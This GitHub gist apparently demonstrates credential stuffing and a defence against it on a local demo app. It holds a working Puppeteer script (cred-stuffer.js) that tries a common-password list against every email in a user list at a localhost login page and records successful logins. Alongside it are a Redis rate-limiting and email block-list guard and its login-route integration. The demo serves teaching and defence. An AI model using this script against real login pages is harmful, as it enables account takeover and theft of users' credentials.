Skip to content

Instantly share code, notes, and snippets.

@zrosenbauer
Created August 13, 2019 14:55
Show Gist options
  • Save zrosenbauer/1c60826f99d5fb8a5a3f1c87de97d42f to your computer and use it in GitHub Desktop.
Save zrosenbauer/1c60826f99d5fb8a5a3f1c87de97d42f to your computer and use it in GitHub Desktop.

Revisions

  1. zrosenbauer created this gist Aug 13, 2019.
    61 changes: 61 additions & 0 deletions ATOStopper.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,61 @@
    'use strict';

    const Redis = require('ioredis');
    const redis = new Redis('cache:6379');

    const blockList = [
    '[email protected]'
    ];

    const badEmailDomains = [
    'hacker.com'
    ];

    const badEmailHandles = [
    'iamahacker'
    ];

    const MINUTES_15 = 60 * 15;

    async function assertSafe ({ email, ipAddress }) {
    const [handle, domain] = email.split('@');
    if (blockList.includes(email)) {
    throw new Error('ATOStopper: Blocked email');
    }

    if (badEmailHandles.includes(handle)) {
    throw new Error('ATOStopper: Blocked email handle');
    }

    if (badEmailDomains.includes(domain)) {
    throw new Error('ATOStopper: Blocked email domain');
    }

    const [ipResult] = await redis
    .pipeline()
    .incr(`ipAddress:${ipAddress}`)
    .expire(`ipAddress:${ipAddress}`, MINUTES_15)
    .get(`ipAddress:${ipAddress}`)
    .exec();
    const [, ipAddressCount] = ipResult;

    if (ipAddressCount > 20) {
    throw new Error('ATOStopper: IP Address Velocity Exceeded');
    }

    const [emailResult] = await redis
    .pipeline()
    .incr(`email:${email}`)
    .expire(`email:${email}`, MINUTES_15)
    .get(`email:${email}`)
    .exec();
    const [, emailCount] = emailResult;

    if (emailCount > 7) {
    throw new Error('ATOStopper: Email Velocity Exceeded');
    }
    }

    module.exports = {
    assertSafe
    };
    13 changes: 13 additions & 0 deletions bad_passwords.json
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,13 @@
    [
    "12345678",
    "123456",
    "123456789",
    "admin",
    "qwerty",
    "password",
    "111111",
    "abc123",
    "1234567",
    "password1",
    "12345"
    ]
    68 changes: 68 additions & 0 deletions cred-stuffer.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,68 @@
    /* eslint-disable */

    const fs = require('fs');
    const util = require('util');
    const path = require('path');
    const puppeteer = require('puppeteer');

    const writeFile = util.promisify(fs.writeFile);

    const userList = require('./user_list.json');
    const badPasswords = require('./bad_passwords.json');

    const results = {
    success: [],
    failure: 0
    };

    const LOGIN_URL = 'http://localhost:8080/login';

    async function testLogin (email, password) {
    try {
    console.log(`Testing Password: ${password}`);
    const browser = await puppeteer.launch();
    const page = await browser.newPage();

    // Navigate to the login page
    console.log('Navigating to login...');
    await page.goto('http://localhost:8080/login');

    // Handle filling out the form & submitting
    console.log('Filling out form...');
    await page.type('#email', email);
    await page.type('#password', password);
    console.log('Submitting...');
    await page.click('[type="submit"]');

    // Validate success
    await page.waitFor(1000);
    if (page.url() === LOGIN_URL) {
    throw new Error('Failed to login');
    }

    results.success.push({
    email,
    password
    });
    console.log('Succeed!\n\n');
    await browser.close();
    } catch (err) {
    console.error(err);
    console.log('Failed :(\n\n');
    results.failure++;
    }
    }

    (async () => {
    for (const email of userList) {
    // loop through bad passwords for each email
    for (const password of badPasswords) {
    console.log(`Testing Email: ${email}`);
    await testLogin(email, password);
    }
    }

    console.log(`Success: ${results.success.length}`);
    console.log(`Failed: ${results.failure}`);
    await writeFile(path.join(__dirname, 'results.json'), JSON.stringify(results.success));
    })();
    41 changes: 41 additions & 0 deletions userController.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,41 @@
    // other stuff above

    /**
    * POST /login
    * Sign in using email and password.
    */
    exports.postLogin = (req, res, next) => {
    ATOStopper.assertSafe({
    email: req.body.email,
    ipAddress: req.headers['x-forwarded-for'] || req.connection.remoteAddress
    }).then(() => {
    const validationErrors = [];
    if (!validator.isEmail(req.body.email)) validationErrors.push({ msg: 'Please enter a valid email address.' });
    if (validator.isEmpty(req.body.password)) validationErrors.push({ msg: 'Password cannot be blank.' });

    if (validationErrors.length) {
    req.flash('errors', validationErrors);
    return res.redirect('/login');
    }
    req.body.email = validator.normalizeEmail(req.body.email, { gmail_remove_dots: false });

    passport.authenticate('local', (err, user, info) => {
    if (err) { return next(err); }
    if (!user) {
    req.flash('errors', info);
    return res.redirect('/login');
    }
    req.logIn(user, (err) => {
    if (err) { return next(err); }
    req.flash('success', { msg: 'Success! You are logged in.' });
    res.redirect(req.session.returnTo || '/');
    });
    })(req, res, next);
    }).catch((err) => {
    console.error(err);
    req.flash('errors', [{ msg: 'Invalid email or password.' }]);
    return res.redirect('/login');
    });
    };

    // other stuff below
    11 changes: 11 additions & 0 deletions user_list.json
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,11 @@
    [
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]"
    ]